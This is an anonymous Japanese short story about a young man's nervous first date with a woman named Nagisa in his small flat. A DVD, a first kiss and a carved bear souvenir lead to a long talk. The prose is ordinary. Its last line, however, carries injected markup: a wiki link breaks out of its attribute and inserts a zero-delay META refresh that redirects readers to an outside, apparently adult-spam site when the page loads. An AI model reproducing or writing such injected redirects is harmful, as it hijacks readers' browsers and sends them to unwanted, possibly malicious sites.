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六畳一間

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匿名ユーザー

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「男の子の家って、はじめてだわ」と渚は言った。
「そうなの?」と僕が聞き返すと、渚は眉をしかめて不服そうな顔をした。
「君には、私がそんなに遊んでそうに見えるんだ」
「いや、そういう意味じゃないよ。ほら、高校生じゃあるまいし、みんな一人暮らしなんだからお呼ばれとか当り前かな、って思ってたんだ」
「となると、君もしょっちゅう女の子の部屋にお呼ばれされてるわけ?」
 そういう事実はなかった。
「無いね。ごめん、単なる思いこみだったみたいだ」
「いちいち謝らなくたっていいわよ」
 なんだか今日は喋るたびに間抜けになっている気がする。僕はあらためて期待と緊張でいっぱいいっぱいになっている自分に気付いた。僕は呼吸を整えながら、ポケットに入った鍵をとりだしてシリンダー錠の鍵穴に差し入れた。
「思ったよりきれいね」
「待ってて、いま電気をつけるから」
 明るくなった部屋はいつもより汚れて見えた。おそらく僕自身が緊張しているせいだろう。ちゃんと掃除したんだから、いつもより奇麗なはずなんだ。
 六畳の一間に通された渚は、辺りをきょろきょろと見まわしていた。僕はキッチンでお茶をお茶を煎れながら、渚の後ろ姿や横顔を盗み見ていたんだ。
「ダージリンが入ったよ。紅茶にはちょっとこだわってるんだ」僕はカップを二つとコースターを二つ、それにポットを同時にテーブルに出した。一人暮らしが長くなるとこういうテクニックが身に付くものだ。
「あのさ」渚が口を開いた。彼女は玄関をくぐってからこれまで一言も口をきいていなかった。「トイレはどこ?」
「えっと、そこの廊下出てすぐ右だよ」
「そう」
 てっきりトイレに立つものかと思って道をあけたが、彼女は動かなかった。僕は十秒そこら突っ立ったのちに、自分で出したクッションの上にあぐらを掻いた。だけど、紅茶を前にしても僕らの間にコミュニケーションは生まれなかった。渚はひとくち紅茶をすすり、また部屋を見まわすのを繰り返すだけだ。
「どうしたの?」
「何が?」
「いや、さっきからずっと黙ってるから」
「映画の準備を待ってたんだけど。手伝いたくても勝手がわかんないし」
 僕はそこでようやく、眼の前にある29型テレビのことを思い出し、どうやって渚を家に呼んだのかも思い出した。
「アクションものなんだから、大きな画面で見たいな」
「うちに29型があるけど」
「じゃあキミの家で見ようか」色気もへったくれもない、ツタヤでの会話だ。
 僕は舞い上がってしまったことを後悔しながら、DVDデッキの電源を入れた。
 映画の内容は、ヒーローとヒロインが居て色々と巻き込まれる、あたりまえのハリウッドアクションだった。話のタネにもならない平凡な作品だ。画面上で踊るようにアクションをこなすヒロインは、ちょっと南方系の顔をしたエキゾチックな女の子だった。渚のようにぱっちりとした目をしていて、渚のように浅黒い皮膚をしている。渚と画面上の少女とを見比べたいと思ったが、実際にやると怒られるのは目に見えている。結局僕は、アホみたいに画面をにらんでいるしかなかった。
 隣に渚がいるだけで、いつもの部屋が全然違う。映画にちっとも集中できないけど、かといってかすかに聞こえる渚の吐息に集中するとますます落ちつかない。
 やがて映画は佳境に入った。敵の手に落ちた主人公を、ヒロインが救出に来る場面だ。ヒロインは主人公のいる部屋まで到着するが、彼は手錠で柱に繋がれて身動きが取れない。ヒロインは「待っていて、すぐ戻ってくるわ」と手錠の鍵を探しにいこうとするが、ドアの前で立ち止まる。主人公へと向き直り、静かに一歩ずつ近づく。主人公は彼女を正面から見据える。そして、二人はキスをした。
 渚の息づかいが不規則になるのを感じて、僕は向き直った。
 渚は僕を見ていた。じいっと見ていた。いつから見ていたのだろう。いつから待たせていたんだろう。僕は自分の臆病を恥じながら、渚の体をそっと引き寄せた。
 手をちょっと引き寄せるたびに、渚がこちらに近づいてくる。あるいは僕が渚に近づいているのかもしれない。渚の背後にまわした手のひらに、ブラのワイヤーの堅い質感が触れる。やわらかい体をどんどん引き寄せて、これ以上近づけない限界を超えて引き寄せたとき、僕らはキスしていた。
 お互いの歯がこすれたとき、ちょっと驚いた渚の体に力が入った。腕の力をゆるめて渚から離れた。妙な喪失感と充実感が同時に襲ってきて、僕の顔面から、肩から腕から力が抜けた。
 しばらくは何も言えずに見つめ合っていたが、やがて渚が申し訳なさそうに視線をそらした。僕はなにか考えるより先に、渚の視線につられてふりむいた。
 そこには木彫りのクマがいた。クマは鮭をくわえてじいっとこちらを見ていた。どことなく愛嬌のある、ひやかし気味の丸っこい目だ。
「こっち見てる……」
「あはは、実はね、入ったときから気になってたんだ。なんでクマが居るんだろうって」
「家族旅行で北海道に行ったときの記念品だよ。何となく気に入ったから飾ってたんだ」
 渚はくすくす笑った。「小綺麗に片付いてる割には変なもの置いてるのね。ウケ狙いかと思っちゃった。だってあんなださいクマを置いといて、『紅茶にはちょっとこだわってるんだ』とか言うんだもん。どうしようかと思ったわよ」
 僕は真っ赤になった。「気に入ったんだからしょうがないじゃんか」
「そりゃそうだけどね。でも面白いわよ。どんな旅行だったの? あ、DVD止めて。もう映画って感じでもないでしょ」
 それから僕らはいろんな話をした。北海道の話、クマの話、ネコの話、音楽の話。終電があるからと渚が帰ったのは、DVDを止めてから二時間後くらいだった。[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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